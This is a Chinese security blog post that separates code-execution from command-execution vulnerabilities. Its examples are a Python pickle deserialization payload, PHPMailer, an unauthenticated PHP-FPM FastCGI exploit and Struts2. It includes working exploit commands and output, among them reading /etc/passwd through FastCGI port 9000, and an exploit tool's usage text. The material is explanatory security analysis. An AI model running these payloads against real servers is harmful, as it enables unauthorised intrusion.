命令执行与代码执行的判断

作者: LANDGREY ● 创建时间 2017年5月18日 13:28 ● 更新时间 2017年5月18日 21:23
浏览: 1034 次. ● 标签: #网络安全, #思考
您的IP地址: 140.207.23.83

一. 判别理念

参考OWASP的 **代码注入**和**命令注入**，其中的相关解释:

> Code Injection differs from Command Injection in that an attacker is only limited by the functionality of the injected language itself.

可以用下面一句话判断是代码执行还是命令执行

> **执行效果是否受制于语言本身与其安全机制**

代码执行:

```
1. 执行的效果完全受限于语言本身
只能执行当前语言的相关语法，不能达到执行系统命令的程度
2. 执行的效果不完全受限于语言本身
可执行当前语言的相关语法，可达到执行系统命令的程度，但可能受制于语言安全特性本身，得不到正常执行
```

命令执行:

```
1. 执行的效果不受限于语言语法本身，不受命令本身限制
不能执行当前语言的相关语法，仅能达到间接执行系统命令；
可执行当前代码语言的相关语法，可达到间接执行系统命令的程度，不会受制于语言安全特性本身。
```

二. 实例

1. Python**反序列化漏洞**

Python Pickle**反序列化带来的安全问题**

有如下一段关于python pickle**反序列化**操作的示例代码:

```
import os
import pickle


class A(object):
    def __reduce__(self):
        # return os.system, ('print 1;', )
        return os.system, ('echo 1 > 1.txt', )

p = pickle.dumps(A())
# print p
pickle.loads(p)
```

如果你执行的上面那段代码的话，就会在当前目录下创建一个写着"1"的"1.txt"文件。这执行的其实是系统命令

```
echo 1 > 1.txt
```

如果填入python相关语法，比如

```
print 1;
```

它是不会当作python代码被执行而输出"1"的，是被当作系统命令执行。

这种情况下Python**反序列化漏洞** 执行的效果不受语言本身和安全机制限制，仅受限于你执行的什么命令，属于**命令执行漏洞**（不能执行当前语言的相关语法，仅能达到间接执行系统命令）

2. PHPMailer漏洞

CVE-2016-10033：PHPMailer**远程代码执行漏洞的分析**

这个漏洞执行的是攻击者的PHP**代码段**，本来也可以利用php相关函数，比如exec() 、system() 来执行一些系统命令，可以称为命令执行漏洞的。

但是如果用来执行系统命令的php函数都加进了php.ini 的 disable_functions中，其实这个漏洞就不能执行系统命令了，受限于语言的安全特性本身。

所以它是**代码执行漏洞** (不完全受限于语言本身).

3.php-fpm fastcgi 9000**端口未授权漏洞**

PHP FastCGI RCE Vul

Fastcgi**协议分析** && PHP-FPM**未授权访问漏洞** && Exp**编写**

这个漏洞看第一个链接就清楚了，在知道**目标网站一个**php**文件的绝对路径**的情况下，是可以执行代码并间接执行命令的.

```
H:\pentestbox
> fastcgi system                  9000 /usr/local/lib/php/PEAR.php "pwd"
X-Powered-By: PHP/5.6.30
Content-type: text/html; charset=UTF-8

/usr/local/lib/php
Passing INI directive through FastCGI: unable to set 'safe_mode'

H:\pentestbox
> fastcgi system                  9000 /usr/local/lib/php/PEAR.php "cat /etc/passwd"
X-Powered-By: PHP/5.6.30
Content-type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
```

phithon 写的工具 fpm.py 对上面同一个目标，执行php代码并可以间接系统命令。

```
H:\pentestbox
> fpm -c "<?php echo `id`; exit; ?>" -p 9000          /usr/local/lib/php/PEAR.php
X-Powered-By: PHP/5.6.30
Content-type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)


H:\pentestbox
> fpm -c "<?php echo `pwd`; exit; ?>" -p 9000          /usr/local/lib/php/PEAR.php
X-Powered-By: PHP/5.6.30
Content-type: text/html; charset=UTF-8

/usr/local/lib/php


H:\pentestbox
>
```

根据fastcgi漏洞的利用工具的说明，PHP-FPM >= 5.3.3 才能执行系统命令。

```
--------------------------------
PHP Fastcgi Remote Code Execute Exploit.
Date: 2012-09-15
Author: wofeiwo@80sec.com
Note: Only for research purpose
--------------------------------

Usage:   fcgi_exp.exe <cmd> <ip> <port> <file> [comma d]
         cmd: phpinfo, system, read
              the SYSTEM cmd only affects PHP-FPM >= 5.3.3
         ip: Target ip to exploit with.
         port: Target port running php-fpm.
         file: File to read or execute.
         command: Command to execute by system. Must use with cmd 'system'.

Example: fcgi_exp.exe system 127.0.0.1 9000 /var/www/ tml/index.php "whoami"
         fcgi_exp.exe phpinfo 127.0.0.1 9000 /var/www html/index.php > phpinfo.html
         fcgi_exp.exe read 127.0.0.1 9000 /etc/issue
```

也许你会认为，php都受制于php的安全机制，这个也应当是代码执行漏洞。

但依照我的想法这个漏洞其实应属于**命令执行漏洞**。这也是比较好玩的地方。根据第一篇文章可以知道：

> 通过设置FASTCGI_PARAMS，我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置

也就是说，这个漏洞可以改写php.ini的安全设置，绕过限制，达到远程命令执行，而不仅仅是代码执行并受制于php，所以应归为**命令执行**(可执行当前代码语言的相关语法，可达到间接执行系统命令的程度，不会受制于语言安全特性本身)

4. Struts**相关漏洞**

S2-029 Struts2 **标签远程代码执行分析（含**POC)

通过上面文章就会发现 Struts2 的漏洞其实是通过 ognl **表达式，**间接执行了系统命令，应属于**命令执行漏洞**（不能执行当前语言的相关语法，仅能达到间接执行系统命令）

三. 总结

以上的判断均是基于我的判别理念来的，可能有些会和大家的想法有出入，欢迎一起交流观点。

<